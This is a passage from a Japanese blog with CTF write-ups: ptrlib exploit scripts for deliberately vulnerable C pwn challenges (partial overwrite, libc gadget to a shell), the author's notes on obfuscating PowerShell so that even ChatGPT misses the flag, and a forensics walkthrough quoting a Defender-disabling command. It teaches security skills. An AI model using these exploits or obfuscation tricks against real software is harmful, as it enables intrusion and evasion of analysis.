1/16を当てた後はjobにleakしたアドレスから逆算したwinのアドレスを書き込むだけです。ローカル変数iがi >= 1にならないとループを終了できないので、BOFで書き換える際には気をつけてください。また、iに負の数を入れれば、他数回numで指定したメンバーに書き込みができるということにここで気づけるはずです。

renewal return address overwrite

return addressを書き換えたら、mainの処理を終了してreturnすれば、win関数が実行されます。

renewal.py

from ptrlib import *

elf = ELF("../dist/renewal")
libc = ELF('../dist/libc-2.31.so')

while(1):
    try:
        io = Process("../dist/renewal")
        #io = Socket("localhost", 30017)

        #input()
        io.sendlineafter("Name > ", "N")
        io.sendlineafter("Words > ", "W")
        io.sendlineafter("Age > ", "256")
        io.sendlineafter("Job > ", "J" * (0x10 - 3) + "END")
        io.recvuntil("END")
        text_addr = io.recvline()
        text_addr = u64(text_addr)
        elf.base = text_addr - 0x12b9

        io.sendlineafter("> ", "4")

        # 1/16
        one_byte = 0x40
        payload = b"C" * 0x18
        payload += p32(0x4)
        payload += p32(0xffffffff)
        payload += p8(one_byte)
        io.sendlineafter("> ", payload)

        win_addr = elf.symbol('win')
        io.sendlineafter("> ", "4")
        io.sendlineafter("> ", p64(win_addr + 5))
        io.sendlineafter("?\n", "YES")
        io.sendlineafter("!\n", "ls")
        io.sendlineafter("flag", "cat flag", timeout=0.1)
        break
    except TimeoutError as e:
        print(e)

io.interactive()

true_version

checksec ./true_version
true_version.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char tmp[1];
int j;

#define readline_n(buf, n)          \
{                                   \
    for(j=0; j<n; j++)              \
    {                               \
        read(STDIN_FILENO, tmp, 1); \
        if (tmp[0] == '\n')         \
        {                           \
            break;                  \
        }                           \
        buf[j] = tmp[0];            \
    }                               \
}                                   \

struct Profile
{
    char name[0x10];
    char words[0x100];
    long age;
    char job[0x10];
};

void win()
{
    system("/bin/sh");
    return;
}

int main()
{
    struct Profile* p;
    setvbuf(stdout, (char*) NULL, _IONBF, 0);

    p = alloca(sizeof(struct Profile));
    memset(p, 0, sizeof(struct Profile));

    printf("Enter your profile\n");

    printf("Your Name > ");
    readline_n(p->name, sizeof(p->name));
    printf("Your Words > ");
    readline_n(p->words, sizeof(p->words));
    printf("Your Age > ");
    scanf("%ld", &p->age);
    printf("Desired Job > ");
    readline_n(p->job, sizeof(p->job) - 1);

    printf("\n---------------Profile---------------\n");
    printf("Name: \t\t%s\nWords: \t\t%s\nAge: \t\t%ld\nDesired Job: \t%s\n", p->name, p->words, p->age, p->job);
    printf("-------------------------------------\n\n");

    char check[4];
    int num, i=0;
    printf("Anything to fix?\n");
    do {
        printf("1. Name\n2. Words\n3. Age\n4. Desired Job\n> ");
        scanf("%d", &num);
        switch(num)
        {
            case 1:
                printf("Name > ");
                readline_n(p->name, sizeof(p->name));
                i++;
                break;
            case 2:
                printf("Words > ");
                readline_n(p->words, sizeof(p->words));
                i++;
                break;
            case 3:
                printf("Age > ");
                scanf("%ld", &p->age);
                i++;
                break;
            case 4:
                printf("Desired Job > ");
                readline_n(p->job, sizeof(p->words));
                i++;
                break;
            default:
                puts("Please specify 1, 2, 3 or 4");
                puts("Bye");
                exit(0);
        }
        if (i == 1)
        {
            printf("Done fixing?\n");
            readline_n(check, sizeof(check));
            if (strncmp(check, "YES", 3) == 0)
            {
                break;
            }
        }
    } while (i < 2);

    printf("Sent the profile.\n Good luck!\n");
    return 0;
}

diff renewal.c true_version.c -U 0

@@ -53 +53 @@
-    readline_n(p->job, sizeof(p->job));
+    readline_n(p->job, sizeof(p->job) - 1);

renewalと違って、jobに0xfバイトしか書き込めなくなってしまったので、アドレスリークができません。しかし、相変わらずBOFが存在し、pのアドレスの下1byteを書き換えてProfile構造体の領域をずらして色々書き換えることはできそうです。書き込み回数はiを適宜負の数に書き換えたりすることで、何回でも書き換えることができます。

アドレスリークは厳しそうなので、stackのreturn addressから下、つまりreturn addressの存在するstackのアドレスよりもアドレスが大きい領域に存在する、アドレスの下1byteを適宜書き換えていって、ROPのpayloadを組むことが目標になります。

true_version structure

今回上のスクリーンショットを確認すると、return addressの格納されたstackのアドレスは0x7ffe8d173758です。ここに格納されているlibcのアドレスの下1byteを書き換えていい感じのガジェットに飛ばすことを考えます。さらに1/16の確率を許容するならば(全体では1/256)、libcのアドレスの下2byteを書き換えて飛んでいけるガジェットから良さそうなものを探しても良いです。

base address
libc_offset
rp++ -f ./libc-2.31.so -r 4 | grep 0x000240

...
0x0002408a: mov rax, qword [rsp+0x08] ; lea rdi, qword [0x00000000001B3E68] ; mov rsi, qword [rax] ; xor eax, eax ; call qword [rdx+0x000001D0] ;  (1 found)
0x0002407c: mov rax, qword [rsp+0x18] ; call rax ;  (1 found)
0x0002400b: mov rdx, qword [rax] ; call rbx ;  (1 found)
...

結論から述べるのであれば、オフセット0x2407cにある、mov rax, qword [rsp+0x18] ; call rax ;が良さそうなガジェットになります。というのも、mainからreturnして仮にこのガジェットを踏んだ際、その瞬間のrsp = 0x7ffe8d173760であり、0x7ffe8d173760 + 0x18 = 0x7ffe8d173778にはtext領域のアドレスが入っているからです。このアドレスはmainのシンボルのアドレスで、下1byteを0x69に書き換えるだけで、winのシンボルのアドレスへと変えることができます。
text_offset
readelf -s true_version
つまり、return addressの下1byteを0x7cに書き換えて、mov rax, qword [rsp+0x18] ; call rax ;のアドレスへと変更し、return address+0x20のtext領域のアドレスの下1byteを0x69に書き換えて、winのアドレスを作った上で、main関数からreturnすれば、win関数が実行されてshellを起動できます。

各手順の遷移を詳しく追っていきましょう。

まず、BOFを使ってpのアドレスを書き換えて、jobの先頭とreturn addressの格納されたstackのアドレスを一致させます。確率は1/16です。ローカル変数i0xffffffffにします。

true_version bof
jobに書き込んでreturn addressであるlibcのアドレスの下1byteを0x7cに変更します。
overwrite libc
wordsに書き込んでProfileの構造体のポインタpのアドレス下1byteを書き換えて、return address + 0x20のアドレスとjobの先頭が一致するようにします。この時にローカル変数iが再び0xffffffffになるように気をつけます。
overwrite p
jobに書き込んでtextのアドレスの下1byteを0x69に変更します。
overwrite text

最後にmain関数の残りを実行してreturnするとlibcのガジェットに飛びます。

libc gadget
ガジェットが実行される際に、call raxの前にはちゃんとraxに0x560cfbcd8269というwinのアドレスが入っています。
after call
最後にwinを実行してshellが起動します。
win

agent -> renewal -> true_versionと徐々に攻撃の制約が厳しくなるという構成でしたが、かなりいい問題に仕上がったと考えています。特に、最後のtrue_versionはcanaryを間にして、wordsとjobを交互に書き換えてROPまたはCOPのpayloadを作っていくところがとても面白いと思っています。めちゃくちゃ頑張ればwin関数なしでもsystem("/bin/sh")を起動できるかもしれません(ほんまか)。試していませんが。

true_version.py

from ptrlib import *

elf = ELF("../dist/true_version")
libc = ELF('../dist/libc-2.31.so')

while(1):
    try:
        io = Process("../dist/true_version")
        #io = Socket("localhost", 30022)

        #input()
        io.sendlineafter("Name > ", "N")
        io.sendlineafter("Words > ", "W")
        io.sendlineafter("Age > ", "256")
        io.sendlineafter("Job > ", "J")
        io.sendlineafter("> ", "4")

        # 1/16
        one_byte = 0x40
        io.sendlineafter("> ", b"C" * 0x18 + p32(0x4) + p32(0xffffffff)+ p8(one_byte))

        one_byte_for_mov_rax_qword_rsp_18_call_rax = 0x7c

        io.sendlineafter("> ", "4")
        io.sendlineafter("> ", p8(one_byte_for_mov_rax_qword_rsp_18_call_rax))
        io.sendlineafter("?\n", "NO")


        io.sendlineafter("> ", "2")
        io.sendlineafter("> ", b"B" * 0xe0 + p32(0x2) + p32(0xffffffff)+ p8(one_byte+0x20))

        win_byte = 0x69
        io.sendlineafter("> ", "4", timeout=0.1)
        io.sendlineafter("> ", p8(win_byte))
        io.sendlineafter("?\n", "YES")
        break
    except TimeoutError as e:
        print(e)

io.interactive()

作問のログ

今回の作問は、moraさんに色々レビューしてもらってとても充実した楽しい体験でした。こんな感じでTSGでは作問やってますよ〜というのを公開したいと思います。

Rev

本番2日前に作り始めた問題です。これまで、Live CTFではx86_64のELFのRevばかり出してきましたが、今回TSG側でRevやPwn担当が少なかったので、powershellのコードの方が誰でもチャレンジできそうで良さそうということで、難読化したps1ファイルを出しました。TSG-Red, TSG-Blueともに解いてくれたようでよかったです。

Google scholarで難読化の方法として紹介されていたstringに関係のあるものを全て盛り込んだものになります。

https://arxiv.org/pdf/1904.10270.pdf

string related 構想

大元のps1ファイルは以下のような簡単なプログラムです。

original.ps1

$input = Read-Host "FLAG"
$flag = "TSGLIVE{FAKEFLAG}"

if ($input -ceq $flag)
{
    Write-Output "correct!"
}
else
{
    Write-Output "wrong..."
}

全ての変更を逐次詳細に書きはしませんが(というのも細かな修正がいくつかあったので)、大まかな変更だけ書いていきます。

まず、存在する文字列を全て文字の足し算にします。

string concatenation

- $f = "TSGLIVE{FAKEFLAG}"
+ $f = "T"+"S"+"G"+"L"+"I"+"V"+"E"+"{"+"m"+"u"+"l"+"t"+"1"+"p"+"l"+"3"+"_"+"l"+"a"+"y"+"3"+"r"+"5"+"_"+"0"+"f"+"_"+"5"+"l"+"1"+"g"+"h"+"t"+"_"+"0"+"b"+"f"+"u"+"5"+"c"+"a"+"t"+"1"+"0"+"n"+"_"+"t"+"3"+"c"+"h"+"n"+"1"+"q"+"u"+"3"+"5"+"_"+"h"+"1"+"n"+"d"+"3"+"r"+"_"+"a"+"n"+"a"+"l"+"y"+"5"+"1"+"5"+"}"

次に、それぞれの文字列を必ず並べ替えます。

string reordering

- $f = "T"+"S"+"G"+"L"+"I"+"V"+"E"+"{"+"m"+"u"+"l"+"t"+"1"+"p"+"l"+"3"+"_"+"l"+"a"+"y"+"3"+"r"+"5"+"_"+"0"+"f"+"_"+"5"+"l"+"1"+"g"+"h"+"t"+"_"+"0"+"b"+"f"+"u"+"5"+"c"+"a"+"t"+"1"+"0"+"n"+"_"+"t"+"3"+"c"+"h"+"n"+"1"+"q"+"u"+"3"+"5"+"_"+"h"+"1"+"n"+"d"+"3"+"r"+"_"+"a"+"n"+"a"+"l"+"y"+"5"+"1"+"5"+"}"

+ $a = "T"+"S"+"G"+"L"+"I"+"V"+"E"
+ $b = "{"+"m"+"u"+"l"+"t"+"1"+"p"+"l"+"3"
+ $c = "_"+"l"+"a"+"y"+"3"+"r"+"5"
+ $d = "_"+"0"+"f"
+ $e = "_"+"5"+"l"+"1"+"g"+"h"+"t"
+ $f = "_"+"0"+"b"+"f"+"u"+"5"+"c"+"a"+"t"+"1"+"0"+"n"
+ $g = "_"+"t"+"3"+"c"+"h"+"n"+"1"+"q"+"u"+"3"+"5"
+ $h = "_"+"h"+"1"+"n"+"d"+"3"+"r"
+ $i = "_"+"a"+"n"+"a"+"l"+"y"+"5"+"1"+"5"+"}"

+ $k = "{3}{4}{6}{0}{8}{7}{5}{2}{1}" -f $d, $i, $h, $a, $b, $g, $c, $f, $e

次にTickをそれぞれの文字に追加します。Tickはエスケープシークエンスに使われる`を用いた難読化です。

learn.microsoft.com

上のサイトにあるような認識されるエスケープシークエンス、以外の文字の前に`を置いても何も起きないので、自由に付加することができます

Tick

- $b = "_"+"5"+"l"+"1"+"g"+"h"+"t"
+ $b = "`_"+"`5"+"`l"+"`1"+"`g"+"`h"+"t"

evalは&()()内の文字列をコマンドとして扱えるというものです。evalを使うことで、コマンドを文字列として難読化できるようになり、前述や後述する文字列周りの難読化を適用できるようになります。

Eval

+ `Wr`ite-`Out`put "`wr`on`g`.`.`."
- &(`Wr`ite-`Out`put) "`w"+"r"+"`o"+"n"+"`g"+"`."+"`."+"`."

Up-Low CaseはCTFにおいてpowershellのコードを読んだことのある人は大抵目にするものですが、コマンドなどの文字列を小文字大文字ごちゃ混ぜにして読みにくくするというものです。

Up-Low Case

+ if ($j -ceq $k)
- iF ($j -cEq $k)

最後のwhitespaceはpowershellにおいて一部を除いて空白文字をいくら挿入してもコードの実行には関係がない、というのを利用してコードの可読性を下げる方法です。今回はif elseなどのコードの動作の本質部分をwhitespaceで右側へ押し流して、スクロールしなければ読めないようにしました。neovimなどでファイルを開いた場合は通用しないものではあります。

また、ChatGPTに投げるだけでは解けないように、大量の変数への代入を重複してコードの前半に持ってくることで、コードの本質部分が読み込まれにくくしました。最初の方の適当な変数を取ってきてprintしたものをつなぎ合わせてFLAGを復元できないよう、_0urという短い文字列を格納した変数を一つだけコードの後ろの方で作ることで、$kのprintをしない限りは解けないようにしました。

string related review

if elseを増やせばもっと難しくなるのではという話は出していましたが、結果的にはこれ以上面倒にしなくて正解だったと思います。

Pwn

今回の最初の構想はCanaryが存在してもstack based BOFでreturn addressを書き換えられる問題を作ろうというものでした。そこで、stack上に構造体を取ってその構造体の中でのBOFで構造体自身のポインタを書き換えて、canaryを書き換えることなくreturn addressを書き換えるという問題設定を考えました。しかし、gccのデフォルトの-fstack-protector-strongでは、char型のバッファやstack上に取ったstructの領域よりもアドレスの大きい方にポインターが存在することがないようにコンパイルされてしまうので困っていました。

stack protector 賢すぎ
そこで、moraさんにallocaで取ればいいのでは?と教えてもらいました。
alloca
もっともallocaでポインタより上にバッファ領域を取るのは、一昔前のpwnの問題ではよくあったらしいです。作問の人は誰もが一回は考えることなのかも。 そんなこんなで、暫定でできたものは、agentと、renewalのバッファを0埋めしていない問題でした。libcのアドレスが両方ともにleakできるので、win関数も作っておらず、readline_n()はマクロにはしていませんでした。また、numを1回しか指定できません。
pwn暫定

first renewal

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Profile
{
    char name[0x10];
    char words[0x100];
    long age;
    char job[0x10];
};

void readline_n(char* buf, int n)
{
    char tmp[1];
    for(int i=0; i<n; i++)
    {
        read(STDIN_FILENO, tmp, 1);
        if (tmp[0] == '\n')
        {
            break;
        }
        buf[i] = tmp[0];
    }
    return;
}

int main()
{
    unsigned int n;
    struct Profile* p;
    setvbuf(stdout, (char*) NULL, _IONBF, 0);

    printf("How many people? > ");
    scanf("%u", &n);
    if (n > 5)
    {
        printf("Max 5 people for registration.\n");
        exit(0);
    }
    p = alloca(sizeof(struct Profile) * n);

    printf("Enter your profile\n");

    printf("Your Name > ");
    readline_n(p->name, sizeof(p->name));
    printf("Your Words > ");
    readline_n(p->words, sizeof(p->words));
    printf("Your Age > ");
    scanf("%ld", &p->age);
    printf("Desired Job > ");
    readline_n(p->job, sizeof(p->job));

    printf("\n---------------Profile---------------\n");
    printf("Name: \t\t%s\nWords: \t\t%s\nAge: \t\t%ld\nDesired Job: \t%s\n", p->name, p->words, p->age, p->job);
    printf("-------------------------------------\n\n");

    char check[4];
    int num, i=0;
    printf("Anything to fix?\n");
    printf("1. Name\n2. Words\n3. Age\n4. Desired Job\n> ");
    scanf("%d", &num);
    do {
        switch(num)
        {
            case 1:
                printf("Name > ");
                readline_n(p->name, sizeof(p->name));
                i++;
                break;
            case 2:
                printf("Words > ");
                readline_n(p->words, sizeof(p->words));
                i++;
                break;
            case 3:
                printf("Age > ");
                scanf("%ld", &p->age);
                i++;
                break;
            case 4:
                printf("Desired Job > ");
                readline_n(p->job, sizeof(p->words));
                i++;
                break;
            default:
                puts("Please specify 1, 2, 3 or 4");
                puts("Bye");
                exit(0);
        }
        if (i == 1)
        {
            printf("Done fixing?\n");
            readline_n(check, sizeof(check));
            if (strncmp(check, "YES", 3) == 0)
            {
                break;
            }
        }
    } while (i < 2);

    printf("Sent the profile.\n Good luck!\n");
    return 0;
}

いくつかツッコミポイントがあって、まず、moraさんからもらったコードをそのまま何も考えずに貼り付けた結果、一つしか使わないのに、Profile構造体を5つもstack上に取っている部分です。これは、勝手に複数個ないとコンパイラがポインタより上のstack領域にバッファを取ってしまって問題が解けなくなると勝手に思い込んでいたからですが、普通に1個で大丈夫というか、そもそもsizeof()の結果のサイズ分を取っているだけなので、Profileが幾つだとか全く関係なかったです。こういう無意味な勘違いをやめたい。

第二に実はiをいじれば複数回書き換えられるということに、ここで気づきました。

iの書き換え
true_versionもここでなんとなく思いつきます。何回も書き換えられるということは、return addressの下にROPのpayloadを作ることができて -> アドレスリークがない状態でもなんとか出来そうでは? -> libcのガジェットでいい感じのないかな -> mov rax, qword [rsp+0x18] ; call rax ;といった具合にです。

ですから、実質問題を自分で解きながら作ったという感じです。ここで、確率を下げるのとexploitableにするためにwin関数の追加を決定します。

true_version 構想

first true_version

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Profile
{
    char name[0x10];
    char words[0x100];
    long age;
    char job[0x10];
};

void readline_n(char* buf, int n);

void win()
{
    system("/bin/sh");
    return;
}

int main()
{
    unsigned int n;
    struct Profile* p;
    setvbuf(stdout, (char*) NULL, _IONBF, 0);

    printf("How many people? > ");
    scanf("%u", &n);
    if (n > 5)
    {
        printf("Max 5 people for registration.\n");
        exit(0);
    }
    p = alloca(sizeof(struct Profile) * n);
    memset(p, 0, sizeof(struct Profile) * n);

    printf("Enter your profile\n");

    printf("Your Name > ");
    readline_n(p->name, sizeof(p->name));
    printf("Your Words > ");
    readline_n(p->words, sizeof(p->words));
    printf("Your Age > ");
    scanf("%ld", &p->age);
    printf("Desired Job > ");
    readline_n(p->job, sizeof(p->job));

    printf("\n---------------Profile---------------\n");
    printf("Name: \t\t%s\nWords: \t\t%s\nAge: \t\t%ld\nDesired Job: \t%s\n", p->name, p->words, p->age, p->job);
    printf("-------------------------------------\n\n");

    char check[4];
    int num, i=0;
    printf("Anything to fix?\n");
    do {
        printf("1. Name\n2. Words\n3. Age\n4. Desired Job\n> ");
        scanf("%d", &num);
        switch(num)
        {
            case 1:
                printf("Name > ");
                readline_n(p->name, sizeof(p->name));
                i++;
                break;
            case 2:
                printf("Words > ");
                readline_n(p->words, sizeof(p->words));
                i++;
                break;
            case 3:
                printf("Age > ");
                scanf("%ld", &p->age);
                i++;
                break;
            case 4:
                printf("Desired Job > ");
                readline_n(p->job, sizeof(p->words));
                i++;
                break;
            default:
                puts("Please specify 1, 2, 3 or 4");
                puts("Bye");
                exit(0);
        }
        if (i == 1)
        {
            printf("Done fixing?\n");
            readline_n(check, sizeof(check));
            if (strncmp(check, "YES", 3) == 0)
            {
                break;
            }
        }
    } while (i < 2);

    printf("Sent the profile.\n Good luck!\n");
    return 0;
}

void readline_n(char* buf, int n)
{
    char tmp[1];
    for(int i=0; i<n; i++)
    {
        read(STDIN_FILENO, tmp, 1);
        if (tmp[0] == '\n')
        {
            break;
        }
        buf[i] = tmp[0];
    }
    return;
}

true_version 暫定

当日の朝にmoraさんにレビューしてもらいました。 見つかった問題点はいくつかあって、Profile構造体の個数に0を指定するとクラッシュするというのと、そもそもProfile構造体が複数必要ないということ(前述した点です)。 また、初期化していないメモリ領域に過去のstack canaryの残骸が残っていて、普通にstack canaryをリークしてBOFでリターンアドレスまで書き換えられてしまう、ということです。これは、true_versionと同じようにProfileの領域はmemsetで0埋めしてしまうことにしました。jobの末尾からtext領域のアドレスがリークできることを使えば、ret2pltでlibcのアドレスを読み出してからのret2libcで解けます。

もっとも、true_versionでwinを使うので、renewalやagentでも一貫性のためにwinを追加して、簡単にしました。

mora レビュー1

また、true_versionのレビューにて非想定解が見つかりました。

mora レビュー2
そこで、readline_n()はマクロに変更しました。一方で、agentの方はマクロにすると単純なBOFではreadline_n()の参照するポインタが書き換わってしまうことで、pのアドレスを適切に書き換えない限りexploitできず、それでは実質renewalと同じになってしまうということで、関数のままにしました。agentでは関数だったreadline_n()がrenewalやtrue_versionではマクロだったのは、以上のような経緯によるものでした。

以下、マクロを書いたことが無さすぎて、危うくmain関数を壊すところだった話。

readline_n() マクロ化
readline_n() マクロ化2

また、readline_n()のループカウンタはbss領域を使うことにしました、何も考えずにstackのままにしていたら、解く人全員を発狂させてしまうところでした。

readline_n() マクロ化3

こうして当日の朝6:00にtrue_versionが出来上がったという感じです。

終わりに

CTF楽しすぎと話題に。作問も、問題を解くのも、今後も一層力を入れてやっていきたいです。

実際のところtrue_versionは2回の書き換えでshellが取れたみたいです。

ptr-yudai.hatenablog.com

天才 writeup

次回はLive CTF 11かTSG CTFでお会いしましょう~

seccamp 2022 C1 Writeup

はじめに

seccamp2022のC1の講義で実施されたCTF形式の演習のWriteupを復習がてら遺しておこうと思います。

問題設定

(演習用に用意された仮想の)ある企業で発生したインシデントに対してフォレンジック調査を行います。ドメインやWebサイトはこの講義独自のものです。

ネットワーク図 (講義スライドより引用)

社内環境

イベントの検知

  • 通知日時
    • 2022-06-12 21:00:00
  • 検知内容
    • 検知日時: 2022-06-12 18:18:41 (JST)
    • src ip: 172.30.42.53
    • dst ip: 51.68.21.186
    • protocol: TLS
    • 検知理由: 仮想通貨のマイニングプール(pool.minexmr.com)への通信

検知への対応

2022-06-13 09:00~

  • 172.30.42.53 -> L1458というPC名と判明
  • 対象社員の身に覚えがないためインシデントして対応
  • L1458にて原因と思われるプロブラム(diagmonu.exe)を確認
    疑わしいプログラム (スライドより引用)

2022-06-13 12:00~

  • diagmonu.exeはVirusTotal未登録
  • 別PCにおいても同様のイベントを確認
    • 2022-06-13 08:55:11 172.30.42.107 (L2807)
    • 2022-06-13 08:59:15 172.30.42.84 (O4347)

2022-06-13 15:00~

  • L2807, O4347でもdiagmonu.exeを確認
    • L2807内に他の不審なプログラムを確認
    • L2807ではイベントログが消去された形跡あり
  • L2807をフォレンジック調査へ

L2807の情報

以上を踏まえて、L2807のE01ファイルをAutopsyを用いて調査していく。

Writeup

Prep (Autopsyの操作)

Prep(1)
Prep(1)
解答
Prep(1) ans
以上より14509

Prep(2)
Prep(2)
解答
Prep(2) ans
以上より64424509440

Prep(3)
Prep(3)
解答
Prep(3) ans
以上よりWindows 10 Proと分かるので10

Prep(4)
Prep(4)
解答
Prep(4) ans
以上より2022-06-09 10:45:40 JST

/Users/Public/Documents下の怪しいファイル群を調べていく。(VirusTotalの使い方)

ハッシュ(1)
ハッシュ(1)
解答
ハッシュ(1) ans
c.exeのmd5ハッシュが9f5f35227c9e5133e4ada83011adfd63であるとわかり、これをVirusTotalで検索する。DetailsタブのNamesやFile Namesからcsvdeというプログラムであることがわかる。

ハッシュ(2)
ハッシュ(2)
解答 ハッシュ(1)と同じく、mi64.exeのmd5ハッシュはbb8bdb3e8c92e97e2f63626bc3b254c4と分かる。さらに、VirusTotalで検索すると、DetailsタブのSignature infoのSignersからBenjamin Delpyが署名者であると分かる。

ハッシュ(3)
ハッシュ(3)
解答 ハッシュ(1), (2)と同じく、pse.exeのmd5ハッシュはc590a84b8c72cf18f35ae166f815c9dfと分かる。VirusTotalのDetailsタブのSignature infoのFile Version Informationより、PsExec 2.34であると分かる。

永続メカニズムキー(ASEP)の調査 (Autopsy Autoruns Pluginを使います)

Registry Run Key
WOW6432Node/Microsoft/Windows/CurrentVersion/RunにてC:\Users\Public\Documents\diagmonu.exeが指定されており、diagmonu.exeの実行が永続化されている。他にASEPとして登録されているものを探す。

永続化(1)
永続化(1)
解答
永続化(1) ans
Data Artifacts > Scheduled Tasksを開き、CommandにてC:\Users\Public\Documents下の絶対パスが指定されているものを探すと、ldr_ie.exeがt2という名前でタスクとして登録されていることが分かる。

永続化(2)
永続化(2)
解答
永続化(2) ans
Scheduled Tasksをざっと眺めると永続化(1)で見つけたタスクt2と似た名前のt1というタスクが目に付く。このタスクではpowershellが呼ばれており、この時点で怪しすぎるわけだがさらにCommandを確認すると引数としてSet-MpPreference -DisableRealtimeMonitoring $Trueを渡して実行されている。Set-MpPreferenceはSet-MpPreference (Defender) | Microsoft Learnを確認すると分かるようにWindows Defenderを操作するコマンドであり、-DisableRealtimeMonitoringというパラメータに$False以外が渡されている場合はリアルタイムプロテクションが無効化されると書かれている。
永続化(2) ans2
Dumpの項目をさらに詳しく調べると、authorがRETRICKS\shizrikuとあるので、このタスクを作成したユーザ名はshizrikuである。

永続化(3)
永続化(3)
解答
永続化(3) ans
Data Artifacts > Servicesを開き、Image PathからC:\Users\Public\Documents下の絶対パスを探すとC:\Users\Public\Documents\ldr_od.exeがldr_odという名前でWin32_Own_Processというタイプのサービスとして登録されていることに気づく。キーの設定されたタイムスタンプは2022-06-12 14:06:14 JSTと特定できる。

C:\Users\Public\Documents下の各ファイルのタイムスタンプの解釈

タイムスタンプ(1)
タイムスタンプ(1)
解答
タイムスタンプ(1) ans
命名の類似性、およびAccess timeによるソートの結果より、mi.txtがmi64.exeによって作成されたと考えられる。

タイムスタンプ(2)
タイムスタンプ(2)
解答
タイムスタンプ(2) ans
CreatedとAccessdのタイムを確認すると、作成されてからアクセスされるまでの時間が短いのは自明にc.exeである。

タイムスタンプ(3)
タイムスタンプ(3)
解答
タイムスタンプ(3) ans
Created timestampがファイルの作成のタイムスタンプで、Modified timestampがファイルのデータが最後に更新された時刻。例えば、ファイルをあるディレクトリから別のディレクトリにコピーする場合、Createdは更新されますがModifiedは更新されない。さて、ここで各exeファイルのタイムスタンプはCreatedの後に、c.exeは即座に、他のexeは1, 2秒遅れでModifiedを更新しているので、ネットからダウンロードするとかzipから抽出するとかなどど、新しいファイルをデータ共々Documentsディレクトリに作成した時(つまりコピーとかではない)に、何かを原因として一部のファイルでは作成とデータの完全なるディスクへの書き込みの間にラグが発生している。この原因はファイルのサイズが大きいとディスクの書き込み処理に時間がかかるからだと考えられ、実際にラグが0秒のc.exeは最もファイルサイズが小さく2秒のdiagmonu.exeは最もサイズが大きいことがわかる。当日はextractだとかdownloadだとか書いてfailした記憶がありますが、この時点ではどのような方法でファイルを作成したのか判明していないことと、本質的な原因はファイルサイズであることを考えるとsizeと答えるのが適当。

SRUDB.datの解析

Autopsyを用いてSRUDB.datの存在するディレクトリsruを抽出する。GitHub - MarkBaggett/srum-dump: A forensics tool to convert the data in the Windows srum (System Resource Usage Monitor) database to an xlsx spreadsheet.を用いて、xlsxに落とし込み、libre Officeで解析していく。

SRUM(1)
SRUM(1)
解答
SRUM(1) ans
Application Resource UsageにCPU timeの値のカラムがある。Applicationのカラムにてdiagmonu.exeで条件を絞り、CPU time in Foregroundの8つの値を足し合わせて、12928803038240 が答えとなる。

SRUM(2)
SRUM(2)
解答
SRUM(2) ans
Network Data UsageにBytes Sentというカラムがある。SRUM(1)と同じくdiagmonu.exeで絞り、8つのBytes Sentの値を足し合わせ、48315 を得る。

SRUM(3)
SRUM(3)
解答
SRUM(3) ans
Application Resource UsageとNetwork Data UsageのApplicationカラムにてusers\publicで絞ると、前者では新たなexeファイルは見つからなかったが、後者ではdsq.exeというファイルが存在していたことがわかった。

Application Resource UsageとNetwork Data UsageのApplicationカラムにてusers\publicで絞り、出てきた各怪しいexeの列を黄色で塗りつぶしておく。

Network Data Usage suspicious
Application Resource Usage suspicious

SRUM(4)
SRUM(4)
解答 Application Resource UsageとNetwork Data Usageに対してチェックしていく。User SIDをS-1-5-18で固定する。Applicationではexeを含むものに取り敢えず絞る。AutopsyでのC:\Users\Public\Documents下のexeの最も古いCreated timestampは2022-06-12 13:25:39 JST。よってこれより新しいという条件でフィルタする。ただし、srumの方はUTCであることに注意。

具体的には、「User SID = S-1-5-18 (systemprofile) AND Srum Entry Creation >= 2022-06-12 03:46:00 AND Application Contains exe」でフィルタする。Application Resource UsageではSystem32のexeが非常に多かったので、「AND Application Does not contain System32」という条件を追加。

NDU filter
ARU filter
iexplore.exeというexeが何度も呼ばれているのが目に付く。そこで次は「User SID = S-1-5-18 (systemprofile) AND Application Contains iexplore.exe」という条件でフィルタする。
NDU iexplore.exe filter
ARU iexplore.exe filter
するとものの見事に、2022-06-12 4:25:39以降であることが分かる。 よってiexplore.exe

SRUM(5)
SRUM(5)
解答 例えばldr_odというWindowsサービスは永続化(3)より2022-06-12 14:06:14 JST(2022-06-12 05:06:14 UTC)に作成されていると考えられるので、この直前にサービスを登録したプログラムが存在しているはずである。よってSrum Entry Creationのフィルタを前述の時間を含むEntryつまり、「2022-06-12 04:48:00 >=」の条件で絞ってみる。
SRUM(5) ans
C:\Users\Public\Documents下のexeが実行されているあたりから確認すると、C:\Windows\SysWOW64\schtasks.exeが実行されているのがわかる。まさに、Windowsのタスクを追加するコマンドなので、schtasks.exe

今回は永続化(3)のldr_odの永続化のためのコマンド(例えばsc.exe)などを探そうとして、結果的には、t2としてldr_ie.exeをscheduled tasksに追加するのに使ったschtasks.exeが見つかることとなった。もっとも、永続化(2)の方を探そうと思っても同じフィルタを適用して探していたことだろう。

プリフェッチの解析

NirSoftのView the content of Windows Prefetch (.pf) filesを用いてプリフェッチファイルを使った調査を行う。Autopsyを用いてC:\Windows\prefetchディレクトリをエクスポート。WinPrefetchViewのOptions > Advenced Optionsからエクスポートしたprefetchディレクトリを指定することで、解析対象のE01の中のプリフェッチファイルの解析を行える。

プリフェッチ(1)
プリフェッチ(1)
解答
プリフェッチ(1) ans
以上より、2022-06-12 13:37:57

プリフェッチ(2)
プリフェッチ(2)
解答
プリフェッチ(2) ans
IEXPLORE.EXE-7A9337F2の方の関連ファイルにIEXPLORE.EXEは二つ存在しており(もう片方は一つだけ)、こちらはC:\PROGRAM FILES\INTERNET EXPLORER\IEXPLORE.EXEというImage Pathが存在しているので、正しいPathは\VOLUME{01d6677c18ea2be0-dc1925ef}\PROGRAM FILES\INTERNET EXPLORER\IEXPLORE.EXE

プリフェッチ(3)
プリフェッチ(3)
解答
プリフェッチ(3) ans
よって\VOLUME{01d6677c18ea2be0-dc1925ef}\USERS\SHIZRIKU.RETRICKS\APPDATA\LOCAL\MICROSOFT\CLR_V4.0\USAGELOGS\LDR_IE.EXE.LOG

プリフェッチ(4)
プリフェッチ(4)
解答
プリフェッチ(4) ans
以上より、\VOLUME{01d6677c18ea2be0-dc1925ef}\USERS\SHIZRIKU.RETRICKS\DOWNLOADS\コンサルティング要件定義書\コンサルティング要件定義書.LNK

プリフェッチ(5)
プリフェッチ(5)
解答
プリフェッチ(5) ans
